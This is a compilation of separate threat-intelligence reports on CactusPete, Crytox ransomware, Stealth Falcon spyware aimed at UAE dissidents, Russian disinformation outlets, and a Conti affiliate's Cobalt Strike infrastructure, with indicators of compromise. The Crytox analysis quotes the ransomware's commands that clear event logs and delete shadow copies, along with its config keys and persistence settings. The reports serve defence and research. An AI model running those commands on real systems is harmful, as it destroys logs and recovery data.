- Late 2019 and 2020: CactusPete started to deploy ShadowPad malware with victims including government organizations, energy, mining, and defense bodies and telecoms located in Asia and Eastern Europe
## Known Alternative Names for This APT Group:
- CactusPete
- Karma Panda
- Tonto Team
## Known Alternative Names for the Different Payloads Used:
- Bisonal
- Curious Korlia
- DoubleT
- DOUBLEPIPE
- CALMTHORNE
## In the End…
We call CactusPete an Advanced Persistent Threat (APT) group, but the Bisonal code we analyzed is not that advanced. Yet, interestingly, the CactusPete APT group has had success without advanced techniques, using plain code without complicated obfuscation and spear-phishing messages with “magic” attachments as the preferred method of distribution. Of course, the group does continuously modify the payload code, studies the suggested victim in order to craft a trustworthy phishing email, sends it to an existing email address in the targeted company, and makes use of new vulnerabilities and other methods to inconspicuously deliver the payload once an attachment has been opened. The infection occurs, not because of advanced technologies used during the attack, but because of those who view the phishing emails and open the attachments. Companies need to conduct spear-phishing awareness training for employees in order to improve their computer security knowledge.
## IoCs
**PDB path:**
E:\vs2010\new big!\MyServe\Debug\MyServe.pdb
**MD5:**
A3F6818CE791A836F54708F5FB9935F3
3E431E5CF4DA9CAE83C467BC1AE818A0
11B8016045A861BE0518C9C398A79573 |
# Technical Analysis of Crytox Ransomware
## Key Points
- Crytox is a ransomware family consisting of several stages of encrypted code that was first observed in 2020.
- The ransomware encrypts local disks and network drives and leaves a ransom note with a five-day ultimatum, but does not exfiltrate data from the victim.
- Crytox drops the uTox messenger application on the infected system that enables the victim to communicate and negotiate with the threat actors.
- Crytox uses AES-CBC with a per-file 256-bit key that is protected with a locally generated RSA public key.
- File decryption may be possible via a known plaintext brute-force attack.
## Summary
The threat actor using Crytox ransomware has been active since at least 2020 but has received significantly less attention than many other ransomware families. In September 2021, the Netherlands-based company RTL publicly acknowledged that they were compromised by the threat actor. The company paid Crytox 8,500 euros. Compared with current ransom demands, this amount is relatively low. Unlike most ransomware groups, the Crytox threat actor does not perform double extortion attacks where data is both encrypted and held for ransom.
The modus operandi of the group is to encrypt files on connected drives along with network drives, drop the uTox messenger application, and then display a ransom note to the victim.
## Technical Analysis
The sample analyzed by ThreatLabz has the following SHA256 hash: `32eef267a1192a9a739ccaaae0266bc66707bb64768a764541ecb039a50cba67`. In most cases, Crytox samples are packed with UPX. Once decompressed, a sample usually weighs in around 1.23MB because the whole uTox client is embedded inside the malware. Crytox uses different techniques to thwart static analysis including:
- API hashing
- Encrypted configurations
- Encrypted shellcode
- Remote thread injection
Some parts of the malware look directly written in assembly. The most noteworthy thing is the use of a specific implementation of AES-CBC.
The authors borrowed the AES code and modified some parts to meet their needs. They even added an alternative algorithm using Intel x86 AES instructions. Oddly enough, the authors chose to only implement the Rijndael_Encrypt routine to both decrypt their config and encrypt files. This means that when they embedded their configurations, they used the AES decryption routine to encrypt them. The key used for decrypting the Crytox configurations is either the first or second block of 32 bytes of the AES lookup table Te1 using a NULL initialization vector (IV).
### First-Stage
The malware encrypts the first-stage configuration using the aforementioned implementation of AES-CBC. Here, the AES key is the first 32 bytes of the Te1 lookup table: `a5c6636384f87c7c99ee77778df67b7b0dfff2f2bdd66b6bb1de6f6f5491c5c5`. This configuration contains:
- A hardcoded 2048-bit RSA public key
- The path to drop the uTox client application
- The Run registry value for the ransom note to be displayed at startup
- The process name to inject
- The class registry key to store the malware's configuration
After this configuration has been decrypted, the malware locally generates a 2048-bit RSA key pair using the CryptGenKey function. The generated RSA private key is then encrypted five times using the hardcoded public key.
Under the sub-key `HKCR\.waiting\shell\open\command`, the ransomware stores the following value-data pair:
- "en": Generated RSA public key
- "n": Encrypted generated RSA private key
- "": `C:\Windows\System32\mshta.exe "C:\ReadMe.hta"`
In order to make sure the ransom note is displayed on startup, the registry value open along with the data `C:\ReadMe.hta` are created under `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`. Once the Crytox configuration is stored, the code proceeds to locate a process to inject the second stage. A remote thread is created to execute the first piece of shellcode.
### Second-Stage
This stage decrypts a second configuration using AES-CBC with the following key: `5060303003020101a9ce67677d562b2b19e7fefe62b5d7d7e64dabab9aec7676`. According to this decrypted configuration, the shellcode executes a batch file to delete shadow copies and remove events from the logs. Essentially, the following commands are run:
```
for /F "tokens=*" %%1 in ('wevtutil.exe el') DO wevtutil.exe cl "%%1"
vssadmin.exe Delete Shadows /All /Quiet
diskshadow.exe /s ../pghdn.txt
```
The file `pghdn.txt` contains the line "delete shadows all". Given the following hashing algorithm, the second stage searches for the process ID (pid) of the process for which the hash of its name corresponds to `0xDCF164CD` (explorer.exe) or `0x561F1820` (svchost.exe).
Inside a new thread, the shellcode creates a mutex by concatenating a hardcoded 4-letter word (e.g., "CSWS") with some random characters based on the pid of the targeted process. The thread then decrypts the content from the resource section of the original malware using the same algorithm and key as for the second configuration. This resource contains another shellcode, which is the final stage. This shellcode is injected inside the targeted remote process.
### Third and Final Stage
Using the same encryption algorithm, with the first 32 bytes of the Te1 lookup table as the AES key, this final stage decrypts the main configuration containing:
- A seed for generating the file encryption key
- An .hta formatted ransom note
- A simple regular expression for listing all files on the system
- The encrypted file extension (e.g., YOUR ID.waiting)
- Privileges to remove (SeBackupPrivilege, SeRestorePrivilege)
First, the code tries to retrieve the configuration that the first stage stored in the registry hive. If this configuration doesn't exist, Crytox will create it. The code proceeds to set a countdown variable in the ransom note followed by replacing the string YOUR ID in the ransom note template. The latter value is replaced with a unique victim ID that is generated by a pseudo-algorithm based on the encrypted locally generated RSA private key.
Before encrypting any files, the malware removes the SeBackupPrivilege and SeRestorePrivilege privileges. Using the functions `WNetOpenEnumW` and `WNetEnumResourceW`, the malware retrieves connected drives and for each drive found, a thread is created to encrypt files. The same process is applied for every logical drive using the function `GetLogicalDrives`. The malware then waits for a lock to be released before calling the `ShChangeNotify` function in order to change the icon and file association and to display the ransom note to the victim.
### File Encryption
The algorithm to discover all the files is relatively standard and relies on a recursive approach. The Windows directory is excluded from the search along with the ransom note and files with the .waiting extension. In addition, Crytox will only encrypt files that are larger than 16 bytes, which is the size of a block for AES. If the size of a file is not an exact multiple of 16 bytes, the malware will not pad and encrypt the last block of data. For large files, only the first 1,048,576 (0x100000) bytes are read and encrypted to optimize encryption speed.
For each file, a new 256-bit AES key is generated and the content of the file is encrypted using AES-CBC. Crytox then creates a structure for the cipher footer. The BLOBHEADER structure is set like this:
- .bType = PLAINTEXTKEYBLOB
- .bVersion = CUR_BLOB_VERSION
- .aiKeyAlg = CALG_AES_256
Since the structure is not initialized, the padding structure is filled with random data. This structure is encrypted with the locally generated RSA public key. The resulting cipher is concatenated to the end of the encrypted file followed by the encrypted generated RSA private key. The encrypted file is renamed by appending YOUR ID.waiting to the original filename with YOUR ID replaced by the victim ID computed as described previously. A ransom note is written to every directory after encrypting all files that are present.
### Key Generation Algorithm and Weakness
As stated previously, a 256-bit AES key is generated for each file that is encrypted. The following algorithm is used for the key generation:
- A seed value determined by calling GetTickCount
- A 64-bit integer `config_t.random_generated` initially set to 0
- A 32-bit integer constant `config_t.config_seed`
The last value is stored inside the malware's configuration. This value has been the same across samples analyzed by ThreatLabz. The only unknown value necessary to determine the AES key is the value of GetTickCount at the time of encryption. However, if some plaintext of a file is known, efforts to brute-force the AES key are feasible.
Based on file magic values, one can devise a brute-force program with the following logic:
1. Set a counter to 0
2. Let the random generator create a key with the counter as the rotating seed
3. Decrypt the first block of the encrypted file
4. Compare a known magic value with the decrypted data
5. If the value matches, the initial value of GetTickCount and the key have been successfully identified. Else, increment counter and loop back to 2.
The method relies on knowing a part of the plaintext at a specific offset. Thus, only specific file types may be decrypted. Because the seed is based on GetTickCount, if one has access to the master file table (MFT) and is able to locate and decrypt the first and last file encrypted, then the range of GetTickCount values can be deduced. Therefore, the brute-force range can be greatly reduced to decrypt all files.
## Conclusion
Crytox exposes some interesting features to hinder static analysis by self-decrypting itself several times, injecting shellcode inside different processes, encrypting its configurations, and using API hashing. The main file encryption logic of Crytox is standard using a unique AES key per file that is protected with RSA. However, the authors chose to rely on a weak random generator to create new AES keys. Using a 32-bit integer as the seed is not sufficient with today's computational power.
Ransomware families have a lot in common due to their shared goals, and most use secure encryption schemes. However, there may still be implementation weaknesses that enable file decryption without having access to a private key. The brute-force methods described could be reused for similar scenarios.
## Cloud Sandbox Detection
In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign with the following threat name: `Win64.Ransom.Crytox`.
## Indicators of Compromise
**Hashes**
- `1c0bf0c2e7d0c34ec038a8b717bb19d9c4cf3382ada1412f055a9786d3069d78`
- `2115c4c859d497eec163ca33798c389649543d8a6e4db5806a791c6186722b71`
- `307c83924e90f4627f08c2f744cf51f18ec6e246687282a0c1794369ff084f42`
- `3764200cfa673e8796e7c955454b57c20852c2a7931fb9f632ef89d267bbd4c8`
- `6d4e75bc0cc095fef94b9d98a4e94ce9145890b435012b5624aa73621ba6e312`
- `79aff06385c16a98594c6fd314c572bfbe07fbe923f30a627e9b86ac3ab7c071`
- `8ee4a58699ecf02dca516dc6b5b72d93fd9968f672b2be6f8920dfec027d7815`
- `c5550f44332750552921cb5d685ccfbeefa2ab4b03aed8c51c5db52bbe2ff5d4`
- `d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455`
**Files Written**
- `C:\ReadMe.hta`
- Files with ".waiting" extension
**Registry Keys**
- `HKCR\.waiting\shell\open\command` |
# Keep Calm and (Don't) Enable Macros: A New Threat Actor Targets UAE Dissidents
**May 29, 2016**
**Authors: Bill Marczak, John Scott-Railton**
## Executive Summary
This report describes a campaign of targeted spyware attacks carried out by a sophisticated operator, which we call Stealth Falcon. The attacks have been conducted from 2012 until the present, against Emirati journalists, activists, and dissidents.
We discovered this campaign when an individual purporting to be from an apparently fictitious organization called "The Right to Fight" contacted Rori Donaghy, a UK-based journalist and founder of the Emirates Center for Human Rights. Donaghy received a spyware-laden email in November 2015, purporting to offer him a position on a human rights panel. Donaghy has written critically of the United Arab Emirates (UAE) government in the past and had recently published a series of articles based on leaked emails involving members of the UAE government.
Circumstantial evidence suggests a link between Stealth Falcon and the UAE government. We traced digital artifacts used in this campaign to links sent from an activist's Twitter account in December 2012, a period when it appears to have been under government control. We also identified other bait content employed by this threat actor. We found 31 public tweets sent by Stealth Falcon, 30 of which were directly targeted at one of 27 victims. Of the 27 targets, 24 were obviously linked to the UAE, based on their profile information, and at least six targets appeared to be operated by people who were arrested, sought for arrest, or convicted in absentia by the UAE government, in relation to their Twitter activity.
The attack on Donaghy and the Twitter attacks involved a malicious URL shortening site. When a user clicks on a URL shortened by Stealth Falcon operators, the site profiles the software on a user's computer, perhaps for future exploitation, before redirecting the user to a benign website containing bait content. We queried the URL shortener with every possible short URL and identified 402 instances of bait content which we believe were sent by Stealth Falcon, 73% of which obviously referenced UAE issues. Of these URLs, only the one sent to Donaghy definitively contained spyware. However, we were able to trace the spyware Donaghy received to a network of 67 active command and control (C2) servers, suggesting broader use of the spyware, perhaps by the same or other operators.
## Background
Rori Donaghy is a London-based journalist who currently works for UK news organization Middle East Eye, a website that covers news in the Middle East. Middle East Eye has recently published a series of articles about UAE foreign policy, based on leaked emails involving members of the UAE government. Previously, Donaghy led the Emirates Center for Human Rights, an organization he founded to promote the defense of human rights in the United Arab Emirates through building strong relationships with the media, parliaments, and other relevant organizations outside the UAE.
### Political and Human Rights Situation in the UAE
In its most recent (2015) Freedom in the World ranking, Freedom House classified the UAE as "not free," and noted that the UAE continues to suppress dissent. Human Rights Watch stated in its most recent (2016) country report that the UAE has continued to arbitrarily detain and in some cases forcibly disappear individuals who criticized the authorities. Amnesty International says that UAE courts have accepted evidence allegedly obtained through torture.
Specifically in the online realm, there is evidence that the UAE government has previously conducted malware attacks against civil society. At least three dissidents, including a journalist, and UAE human rights activist Ahmed Mansoor, were targeted in 2012 with Hacking Team spyware by a Hacking Team customer in the UAE, apparently operating under the auspices of the office of Sheikh Tahnoon bin Zayed al-Nahyan, a son of the founder of the UAE, and now the UAE Deputy National Security Advisor. The UAE client had a license from Hacking Team to concurrently infect and monitor 1100 devices.
## The November 2015 Attack: An "Invitation"
This section describes an email attack against journalist Rori Donaghy. The operators used a Microsoft Word macro that installs a custom backdoor allowing operators to execute arbitrary commands on a compromised machine.
### Initial Attack Email
In November 2015, the journalist Donaghy received the following email message, purportedly offering him a position on a panel of human rights experts:
**From:** [email protected]
**Subject:** Current Situation of Human Rights in the Middle East
Mr. Donaghy,
We are currently organizing a panel of experts on Human Rights in the Middle East. We would like to formally invite you to apply to be a member of the panel by responding to this email. You should include your thoughts and opinions in response to the following article about what more David Cameron can be doing to help aid the Middle East.
Thank you.
We look forward to hearing back from you,
Human Rights: The Right to Fight
Donaghy was suspicious of the email and forwarded it to us for analysis. We found that the link in the email loaded a page containing a redirect to the website of Al Jazeera. Before completing the redirect, it invoked JavaScript to profile the target's computer.
### Communication with the Operator
On our instruction, Donaghy responded to the email, asking for further information. The operators responded with the following message:
**From:** [email protected]
**Subject:** RE: Current Situation of Human Rights in the Middle East
Mr. Donaghy,
Thank you for getting back to us. We are very interested in you joining our panel. The information you requested is in the attached document. In order to protect the content of the attachment we had to add macro enabled security. Please enable macros in order to read the provided information about our organization. We hope you will consider joining us.
Thank you.
We look forward to hearing back from you,
Human Rights: The Right to Fight
By chance, the attachment was identified as malicious and blocked by a program running in Donaghy's email account. We instructed him to follow up and request that the operators forward the attachment via another method. Donaghy received the following reply:
**From:** [email protected]
**Subject:** RE: Current Situation of Human Rights in the Middle East
Mr. Donaghy,
We apologize for having problems with our attachment. Please follow this link to download our organizational information. The link has been password protected. The password is: right2fight. In order to protect the content of the attachment we also had to add macro enabled security. Please enable macros in order to read the provided information about our organization. We hope you will consider joining us.
Thank you.
We look forward to hearing back from you,
Human Rights: The Right to Fight
This second link redirects to a password-protected link to a file shared on an ownCloud instance. We obtained this file and found it to be a Microsoft Word document.
### The Malicious Document
The document is:
**Filename:** right2fight.docm
**MD5:** 80e8ef78b9e28015cde4205aaa65da97
**SHA1:** f25466e4820404c817eaf75818b7177891735886
**SHA256:** 5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f
When opened, the target is greeted with an image, purporting to be a message from "proofpoint," a legitimate provider of security solutions for Office 365. The image claims that "This Document Is Secured" and requests that the user "Please enable macros to continue."
If the target enables macros, they are presented with a document that purports to be from an organization called "The Right To Fight," and asks the target Donaghy to open the link in the original email he received. We believe that "The Right To Fight" is a fictitious organization, as their logo appears to be copied from an exhibition about "African American Experiences in WWII." Further, "The Right to Fight" has no discernable web presence.
### Profiling
The document attempts to execute code on the recipient's computer, using a macro. The macro passes a Base64-encoded command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and attempts to determine the installed version of .NET by querying the registry.
### Communication & Obtaining a Shell
Gathered information is returned to a specific URL, and the server's response is executed as a PowerShell command. The domain was apparently deleted shortly after the attack. The server response is a PowerShell command that decodes and materializes an invocation of a Base64-encoded PowerShell command to disk as a scheduled task that executes the file hourly.
This gives the operator control over the victim's computer, allowing the operator to install additional spyware or perform other activities. All commands and responses are encrypted using RC4 with a hardcoded key.
## Technical Analysis: aax.me Browser Profiling
While aax.me has a public interface where anyone may shorten a link, aax.me only conducts browser profiling of individuals who click on links that are specially shortened by Stealth Falcon operators.
In November 2015, when we accessed the link in the second email that Donaghy received, we found that it redirected directly to a specific URL. When we accessed the link in the first email that Donaghy received, the server responded with a page designed to redirect to an Al Jazeera op-ed after twenty seconds.
The page is apparently designed to redirect to an Al Jazeera op-ed after twenty seconds. However, the URL is incorrect, leading to a 404 page instead of the op-ed.
The script attempts to exploit an information leak in older versions of Tor Browser.
## The Case of the Fake Journalist
In the course of our investigation, we scanned the email of journalist Donaghy and found evidence that he had been contacted by a fictitious journalist, whom we linked to Stealth Falcon.
We scanned Donaghy's Gmail account for any previous messages featuring links that redirected through aax.me. We identified a message from December 2013, purporting to be from a UK journalist named Andrew Dwight.
**From:** [email protected]
**Subject:** FW: Correspondence Request
Greetings Mr. Donaghy,
I have been trying to reach you for comment and I am hoping that this e-mail reaches the intended recipient. My name is Andrew Dwight and I am currently writing a book about my experiences in the Middle East. My focus is on human factors and rights issues in seemingly non-authoritarian regimes. I was hoping that I might correspond with you and reference some of your work.
Happy New Year,
Andrew
The link in the email redirects to a Huffington Post blog post authored by Donaghy. We found that Donaghy had responded to this message shortly after receiving it, offering to meet in-person with Andrew in the UK.
While attempting to determine whether "Andrew Dwight" was a real person, we found a Twitter profile, @Dwight389 for the same persona, which mentioned the same address from which Donaghy received the email.
## Stealth Falcon's Widespread Targeting of UAE Figures
This section describes how we identified additional Stealth Falcon victims and bait content, and traced Stealth Falcon's spyware to additional C2 servers.
Given Stealth Falcon's use of public Twitter mentions to contact individuals, we searched Google and Twitter for instances of aax.me links. The links we found indicated that we could easily probe aax.me to get a comprehensive list of all currently active short URLs, and their corresponding long URLs.
We found aax.me links targeting 24 accounts, each of whom was mentioned in a tweet that also contained an aax.me shortened link. Several individuals were subsequently arrested or convicted in absentia by the UAE Government in relation to their online activities.
## Conclusion: The Big Picture
Stealth Falcon appears to be a new, state-sponsored threat actor. As an operator, Stealth Falcon is distinguished by well-informed and sophisticated social engineering, combined with moderately sophisticated technical attempts to deanonymize and monitor political targets working on the UAE, and relatively simple malcode.
Stealth Falcon's campaign highlights the power of social engineering, once a technical bar has been met, in conducting a large-scale campaign.
Final Note: A Plea for More Research
Importantly, while we were unable to identify evidence of a conclusive link between Stealth Falcon and a particular sponsor, we have assembled a body of circumstantial evidence that points to an alignment of interests between Stealth Falcon and the UAE Security Forces. We hope that other researchers will draw from our findings and work to identify additional cases. |
# Russia's Disinformation Ecosystem - A Snapshot
**Clint Watts**
It’s finally happened. Seven years after my colleagues and I encountered and began tracking Russian disinformation proliferating on the Internet and swirling on social media platforms, the U.S. government has begun a holistic effort to disrupt Putin’s digital propaganda machine.
On Thursday, April 15, 2021, the U.S. Treasury Department issued wide-ranging sanctions against many elements operating online and on-the-ground involved in U.S. election interference efforts. Specifically, these sanctions revealed four additional information outlets to be connected to Russian intelligence services. SouthFront and NewsFront were described as receiving “taskings” and working with officers from Russian domestic intelligence—the FSB.
Strategic Culture Foundation, another one of the designated outlets, is “an online journal registered in Russia that is directed by the SVR and closely affiliated with the Russian Ministry of Foreign Affairs.” The SVR is Russia’s foreign intelligence service. And Strategic Culture? Well, that’s the outlet that curiously had an article placed in an online local Yonkers, New York newspaper last May of 2020—an article that derided former Department of Defense Assistant Secretary Evelyn Farkas and alleged a “Russiagate hoax” just before the local Democratic Congressional primary where candidate Farkas vied for the nomination.
Finally, the Treasury designations outed news outlet InfoRos as run by the GRU—Russia’s military intelligence. Of critical importance in this declaration was some specific text: InfoRos used a network of websites, including nominally independent websites, to spread false conspiracy narratives and disinformation promoted by GRU officials.
Four years ago, Americans were surprised that many of the political partisans they encountered on Twitter and Facebook were actually fake Russian accounts impersonating Americans operated from a troll farm in St. Petersburg. Hearings and investigations revealed the GRU’s hacks were real and damaging, that the Kremlin’s trolls duped us with conversations and memes and, in some instances, even persuaded Americans to attend political rallies of their own making, convincing one woman to dress up as Hillary Clinton and climb into a cage in front of a Florida Cheesecake Factory.
Overlooked in the broad discussion about election interference efforts has been the payload delivered by the Kremlin’s disinformation machine—the messages Putin’s minions seek to disseminate inside America and where those messages are generated. The sources of disinformation are not singular but many, and seek to subvert not one political or social group but all, hoping to demobilize establishment politicians, undermine elected officials and the democratic institutions they represent, and generally erode trust and confidence in democracy as a system of governance. The messages mirror each other in some cases, contradict each other in others, appear overtly some days and covertly in social media posts on other days. But the goal is always the same: Shift American perceptions of Russia and U.S. policies toward Russia to Putin’s advantage, while pitting Americans against each other in ways that shake the political and social stability of the country.
Some good news though: In 2020, the U.S. did much better fending off Russian interference in the election. U.S. government agencies, social media companies and mainstream media outlets all improved their game. But it’s still difficult to understand how all of the pieces fit together. Fact-checking outlets like EUvsDisinfo have posted many reports over the years noting Kremlin connections or suspected sponsorship to disinformation campaigns and the websites that propagate them. Last week brought the Treasury Department’s sanctions. Last summer, the Department of State’s Global Engagement Center (GEC) revealed Russian connections to various outlets in its “Russia’s Pillars of Disinformation and Propaganda” special report. Sprinkled in between were disclosures of Kremlin connections and sponsorship in the New York Times, Washington Post, Wall Street Journal, CNN, NBC News, and the Daily Beast. Every month, Facebook’s shutdowns of social media accounts revealed in dribs and drabs the expansive nature of Russia’s trolling and supporting infrastructure. Examining one outlet can infer the problem is small, but when one outlines the entire system, the full scope of the Kremlin disinformation effort to undermine democracy takes shape.
To keep a handle on the Kremlin’s propaganda and disinformation ecosystem, we’ve built a diagram that shows the range and type of Russian outlets revealed in a range of sources, offering a single location for researchers to connect disparate research and news reporting. The categories we’ll use for this diagram and future updates will be:
- **Russian Overt Media:** Openly state-sponsored outlets
- **Russian Intelligence Linked:** Websites with connections to Russian foreign (SVR), domestic (FSB) or military (GRU) intelligence
- **Pillars of Disinformation & Propaganda:** Outlets discussed in the Department of State report from August 2020
- **Amplifiers:** Those websites consistently amplifying pro-Kremlin narratives and discussed in a range of reports from fact-checking outlets and public reporting
- **Prigozhin & Co.:** Part of the network associated with sanctioned Russian oligarch and owner of the notorious Internet Research Agency (IRA), Yevgeniy Prigozhin
As additional disclosures come in, we’ll continue to update our findings and offer the sources for the disclosures.
I routinely run into Americans who don’t believe they encounter Kremlin disinformation or that if they did they would know it. This is unlikely. We found out four years ago that many Americans of all races, ethnicities, economic strata, social causes and political parties interacted with covert Russian accounts, repeated Kremlin lies, and shared Russian memes and propaganda.
Today, much of Russia’s disinformation is drowned out by—or simply repeats—American misinformation and disinformation. But during the COVID-19 pandemic and now, amid the global vaccine rollout, Kremlin disinformation and propaganda from various outlets has repeatedly drifted into my own social media feed. Since the pandemic started, my next-door neighbor from childhood posted a Global Research article claiming COVID-19 is a bioweapon; a high-school classmate shared a Sputnik News story proclaiming the FBI investigation into Russian interference was a hoax; a former U.S. Congresswoman posted a Kremlin outlet pushing a conspiracy about vaccine safety; and many on my Instagram and Twitter feeds shared George Floyd protest content from Redfish. One might wonder why a Russian-funded social media venture based in Berlin, Germany makes English-language content for Americans that showcases protests, racial inequalities, and political violence in America.
To get a better flavor for these outlets and some of their popular nonsense one might encounter on social media, we also created an accompanying description to help one understand the types of readers they attract and the headlines they produce. More updates to come as we learn more … the U.S. government appears to be back.
Thanks to Max, Rachel and Lukas and all of my research team for their hard work, analysis and graphic design skills. |
# Conti Affiliate Exposed: New Domain Names, IP Addresses and Email Addresses Uncovered
## A Cobalt Strike Cybercrime Syndicate and the Ransomware Hackers’ Favorite Weapon
On March 9, the Cybersecurity and Infrastructure Security Agency (CISA) and the U.S. Secret Service issued an updated alert about the Conti ransomware group, encouraging organizations to review their advisory and apply the recommended mitigations. They stated: “Conti cyberthreat actors remain active and Conti ransomware attacks against U.S. and international organizations have risen to more than 1,000. Notable attack vectors include Trickbot and Cobalt Strike.”
eSentire’s Threat Response Unit security research team (TRU) has been tracking the movements of the Conti gang for over two years. TRU issued a new report on the Conti Gang on March 7, 2022, two days prior to the CISA alert, where it warned its customers and critical infrastructure organizations that the Conti gang was continuing to launch attacks against oil terminals, pharmaceutical companies, food manufacturers, IT services providers, etc. Conti declared its allegiance to Russia immediately following Russia’s invasion into Ukraine.
TRU is publishing a new set of Indicators of Compromise (IOCs), which are currently being used by a Conti affiliate, and eSentire is encouraging security defenders to also use these to detect any possible Conti activity in their networks. These IOCs all link back to the Cobalt Strike infrastructure.
Every week for the past three years, the public has heard countless news reports of businesses and public entities being compromised by ransomware. However, in these incidents, it is usually the ransomware groups behind the attacks that grab the headlines. TRU contends that it is not just the ransomware gangs that are causing the scourge, it is also those cybercriminals who are supplying the malware, the infrastructure and the tools. For some time, what appears to be their favorite weapon is Cobalt Strike. Cobalt Strike has repeatedly enabled ransomware threat actors to disrupt critical healthcare services, municipalities, educational institutions, energy companies, and international meat suppliers.
For the past year and a half, Cobalt Strike (a threat emulation software used for adversary simulations and Red Teams) has been observed being used by the top ransomware gangs and financial cybercrime groups. Cobalt Strike is an organized, methodical and multi-functional software that is being used, unfortunately, in conjunction with ransomware to disrupt critical systems. It is readily delivered by numerous initial access vectors and provides a variety of tools that help threat actors navigate around defenses.
## Burning a Conti Affiliate’s Cobalt Strike Infrastructure
TRU has been tracking the operations of an active Conti ransomware affiliate since August 2021. During TRU’s research, it discovered that cybersecurity company BreakPoint Labs (BPL) had also been studying the same Conti affiliate. Therefore, eSentire and BreakPoint Labs began sharing their findings with one another and uncovered some important details relating to this affiliate, its infrastructure management methods, and its use of Cobalt Strike. It is also important to note that the main Conti operators have recently brought the Trickbot authors, Wizard Spider, into their operation. Members of the Trickbot gang are long-time partners of Conti, and they have recently developed BazarLoader which downloads additional malware onto a victim’s computer.
Interestingly, TRU observed this affiliate’s Cobalt Strike infrastructure being leveraged in two subsequent ransomware attempts on Valentine’s Day of 2022, just as the tensions between Russia and Ukraine were escalating.
The speed and efficacy of both the intrusion actions and the infrastructure management indicate automated, at-scale deployment of customized Cobalt Strike configurations and its associated initial access vectors. Customization choices include legitimate certificates, non-standard CS ports, and malleable Command and Control (C2). In this report, we will examine associated ransomware operations, including operations that rely on:
- SonicWall exploits
- Shathak (TA551) and TR (TA577) malware distribution operations
- BazarLoader and IcedID malware
- The Cobalt Strike intrusion framework
- FiveHands/HelloKitty/DeathKitty ransomware and Conti ransomware
TRU observed sophisticated intrusions conducted from the infrastructure, which are detailed below, followed by an exploration of the features of the infrastructure. Finally, a list of indicators comprising the vast Cobalt Strike deployment are provided.
## Cobalt Strike at Scale
Following a series of leaks of the Cobalt Strike Intrusion Suite starting in 2020, the tool quickly rose to prominence in ransomware intrusions. Throughout 2021, eSentire’s TRU observed that – with few exceptions – hands-on intrusions invariably relied on Cobalt Strike. The trend continues into 2022 alongside yet another leak of Cobalt Strike’s latest version. With each successive leak of the tool, threat actors gain additional features that help them to evade security and manage intrusions at scale.
### Why has Cobalt Strike become so popular for ransomware campaigns?
Ransomware intrusions are full-scale organizational intrusions that require actions such as discovery, lateral tool transfer and privilege escalation. Not only can Cobalt Strike do all of that, it can also change up its disguises using malleable C2 and an artifact kit to evade network and endpoint security. Threat actors need only deliver Cobalt Strike’s Beacon – a highly configurable backdoor that allows attackers to quietly and remotely control endpoints and inject other attacker tools – as a payload of their chosen initial access vector, and Beacon will point back to an attacker-controlled Team Server, where attackers can log on and intrusions can be orchestrated. Due to Cobalt Strike’s relative simplicity, it enables lower-tiered threat actors to act in supporting roles to ransomware operations, allowing for ransomware gangs to scale out their operations and increase efficiencies.
In short, the tool puts most of the features you’d find in other malware in one place. MITRE describes the tool as follows: “Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.” Cobalt Strike has been in use and continuously updated with new functionality for at least the past ten years. It is an “adversarial simulation software,” the developers have continuously added evasive features, observed in the wild, to its pen testing capabilities. Cobalt Strike also has a public community that openly shares aggressor scripts, which allow various plugins and integrations to be written for Cobalt Strike, and Beacon profiles, which define various communication protocols for C2. Thus, for many backdoors and RATs available on the underground market, Cobalt Strike is capable of the same functionality, plus more.
## Ransomware Operations Utilizing the Cobalt Strike Infrastructure
TRU observed at least two cybercrime operations utilizing the same Cobalt Strike infrastructure, during 2021 and into 2022, and both operations are leveraging SonicWall exploits to deploy a Go variant of the FiveHands/HelloKitty/DeathKitty ransomware family and they are also employing initial access brokers, associated with the Conti Ransomware operation. Earlier in the year, SonicWall exploits being used in FiveHands ransomware campaigns were associated with FiveHands affiliate UNC2447. A 2021 report by Mandiant notes the group had previously deployed RagnarLocker. Symantec has since associated UNC2447 with recent campaigns deploying Yanluowang Ransomware.
More recently, the same Cobalt Strike infrastructure was observed being leveraged in Conti ransomware deployments via Shathak (aka TA551) for initial access. Shathak is a threat group known for launching phishing campaigns that typically utilize malicious documents, and these often lead to backdoors, such as IcedID. TRU has seen some overlap in these campaigns with the TR botnet (aka TA577), which delivers payloads via malicious documents and which tends to use the same toolset as the Shathak malicious phishing campaigns.
## Syndicate Infrastructure
Management of the Cobalt Strike infrastructure appears to be highly automated, potentially relying on automated name server generation via reseller API. Legitimate and trusted certificates are deployed to the infrastructure within minutes of domain name creation. Domain names used for Cobalt Strike Command and Control (C2) reflect a common naming scheme, typically two to three words or acronyms that reflect common information technology and known brands. The infrastructure rotates through a consistent range of open ports and registrar choices. TRU’s analysis of the Conti chat leaks provides some insight on infrastructure management within the Conti team, but it’s not clear how entwined the domains tracked here are with this core Conti group. However, the primary candidates from the leaked chats would be Carter’s infrastructure through which Bentley’s builds integrate the different tools and malware involved (such as BazarLoader, Cobalt Strike and the ransomware itself). An excerpt of the domain names, IP addresses and email addresses being used by this Conti affiliate are enclosed below. It appears that this Cobalt Strike infrastructure management group has also relied on a variety of ProtonMail email addresses to register some of their domains:
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
### Excerpt of the Cobalt Strike C2 Domain Names and IP Addresses Utilized by a Conti Affiliate
- firmwareupdater.com
- aspdotnetpro.com
- fortinetdirect.com
- intergroupservices.com
- thumbsupdating.com
- estudiopay.com
- appnewrelease.com
- gpupdatemanager.com
- flashpointdatabase.com
- wirelesswebaccess.com
- webdatabasesystem.com
- 46.21.153.52
- 23.227.196.236
- 146.70.44.201
- 198.252.99.99
- 172.96.186.51
- 23.227.202.142
- 23.227.198.235
- 46.21.153.48
- 23.227.198.211
- 23.227.196.58
## Sophisticated Intrusions
Combined, TRU and BPL observed the Cobalt Strike infrastructure being leveraged to attack seven different U.S. companies between 2021 and 2022. The victims include companies in the financial, environmental, legal and charitable sectors.
